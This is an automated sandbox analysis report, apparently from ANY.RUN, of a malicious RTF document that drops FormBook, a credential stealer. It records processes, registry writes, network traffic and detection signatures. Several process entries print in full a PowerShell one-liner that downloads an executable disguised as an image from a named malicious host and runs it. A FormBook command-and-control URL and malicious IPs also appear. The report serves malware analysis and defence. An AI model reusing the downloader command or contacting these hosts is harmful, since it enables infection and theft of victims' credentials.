| File name: | BoroChem PBO.doc |
| Full analysis: | https://app.any.run/tasks/c5495352-8e3b-49bb-80bb-bf3ad82eecab |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | April 23, 2019, 21:35:33 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, ANSI |
| MD5: | 6FE29A0C92A970EE2A5468498B79B4B9 |
| SHA1: | D0EE9438168C9273EFE8519E4A41DFB058A90730 |
| SHA256: | E7557E19F60EAFE31AD008238BAC54D541CC207669A83C74056A9BB7CC8C6EC8 |
| SSDEEP: | 3072:244444444444444444444444444444444444Q5+yC0nR8Y0FYdBTxIPatjyxAJ0T:TyC0nR8YBBqPatCQ0la7MjmjZJTKbr |
MALICIOUS
Executable content was dropped or overwritten
- WINWORD.EXE (PID: 2668)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2668)
Executes PowerShell scripts
- cmd.exe (PID: 2928)
- cmd.exe (PID: 2516)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2668)
Downloads executable files from the Internet
- powershell.exe (PID: 1420)
FORMBOOK was detected
- explorer.exe (PID: 2036)
Changes the autorun value in the registry
- help.exe (PID: 2224)
Formbook was detected
- help.exe (PID: 2224)
Application was dropped or rewritten from another process
- Tempcomdoz.exe (PID: 1020)
- Tempcomdoz.exe (PID: 3272)
Connects to CnC server
- explorer.exe (PID: 2036)
Actions looks like stealing of personal data
- help.exe (PID: 2224)
Stealing of credential data
- help.exe (PID: 2224)
Downloads executable files with a strange extension
- powershell.exe (PID: 1420)
SUSPICIOUS
Application launched itself
- Tempcomdoz.exe (PID: 3272)
Starts CMD.EXE for commands execution
- help.exe (PID: 2224)
Creates files in the user directory
- help.exe (PID: 2224)
- powershell.exe (PID: 3716)
- powershell.exe (PID: 1420)
Loads DLL from Mozilla Firefox
- help.exe (PID: 2224)
Executable content was dropped or overwritten
- powershell.exe (PID: 1420)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2668)
Starts Microsoft Office Application
- explorer.exe (PID: 2036)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2668)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
Total processes
43
Monitored processes
10
Malicious processes
5
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1020 | "C:\Users\admin\AppData\Local\Tempcomdoz.exe" | C:\Users\admin\AppData\Local\Tempcomdoz.exe | — | Tempcomdoz.exe | |||||||||||
User: admin Company: stellAr Integrity Level: MEDIUM Description: HIR_1 Exit code: 0 Version: 1.00 Modules
| |||||||||||||||
| 1420 | PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2036 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2224 | "C:\Windows\System32\help.exe" | C:\Windows\System32\help.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Command Line Help Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2516 | "C:\Windows\System32\cmd.exe" /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exe | C:\Windows\System32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2668 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\BoroChem PBO.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2928 | "C:\Windows\System32\cmd.exe" /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exe | C:\Windows\System32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3272 | "C:\Users\admin\AppData\Local\Tempcomdoz.exe" | C:\Users\admin\AppData\Local\Tempcomdoz.exe | — | powershell.exe | |||||||||||
User: admin Company: stellAr Integrity Level: MEDIUM Description: HIR_1 Exit code: 0 Version: 1.00 Modules
| |||||||||||||||
| 3716 | PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.asdaz.site/fanbaseda/comdoz.png','C:\Users\admin\AppData\Local\Tempcomdoz.exe');C:\Users\admin\AppData\Local\Tempcomdoz.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 4060 | /c del "C:\Users\admin\AppData\Local\Tempcomdoz.exe" | C:\Windows\System32\cmd.exe | — | help.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 576
Read events
1 385
Write events
187
Delete events
4
Modification events
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 8h: |
Value: 38683A006C0A0000010000000000000000000000 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1318518814 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1318518928 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1318518929 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 6C0A0000382720841CFAD40100000000 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 1i: |
Value: 31693A006C0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 1i: |
Value: 31693A006C0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2668) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
72
Text files
4
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2668 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6498.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1420 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LSNQ7E8L10LDGNP9SZ5H.temp | — | |
MD5:— | SHA256:— | |||
| 3716 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AP70XDAN154XH25TBVQX.temp | — | |
MD5:— | SHA256:— | |||
| 2668 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 1420 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF106e3c.TMP | binary | |
MD5:— | SHA256:— | |||
| 2668 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$roChem PBO.doc.rtf | pgc | |
MD5:— | SHA256:— | |||
| 3716 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2224 | help.exe | C:\Users\admin\AppData\Roaming\626P8PRT\626logrc.ini | binary | |
MD5:— | SHA256:— | |||
| 2668 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\thrones.doc | document | |
MD5:— | SHA256:— | |||
| 1020 | Tempcomdoz.exe | C:\Users\admin\AppData\Local\VirtualStore\Windows\win.ini | text | |
MD5:D2A2412BDDBA16D60EC63BD9550D933F | SHA256:79FF2254E38192BE1626D05BEC6C82E10C85E1CF91DF7440C4C443380A1E877A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2036 | explorer.exe | GET | 301 | 23.236.62.147:80 | http://ericspanton.com/cm/js/main/?NJo=INOFMSozDtMTSUxFEi9BfcX22Y4nflqk/MX8dEDv6IlO4haOniPNyp6BAm/Vc8RsABxRPQ==&p0q=AfAPydB | US | — | — | whitelisted |
1420 | powershell.exe | GET | 200 | 213.188.29.200:80 | http://www.asdaz.site/fanbaseda/comdoz.png | NO | executable | 652 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1420 | powershell.exe | 213.188.29.200:80 | www.asdaz.site | Tele Danmark | NO | malicious |
2036 | explorer.exe | 23.236.62.147:80 | ericspanton.com | Google Inc. | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.asdaz.site |
| malicious |
ericspanton.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1420 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1420 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1420 | powershell.exe | Misc activity | SUSPICIOUS [PTsecurity] PE as Image Content type mismatch |
2036 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
1 ETPRO signatures available at the full report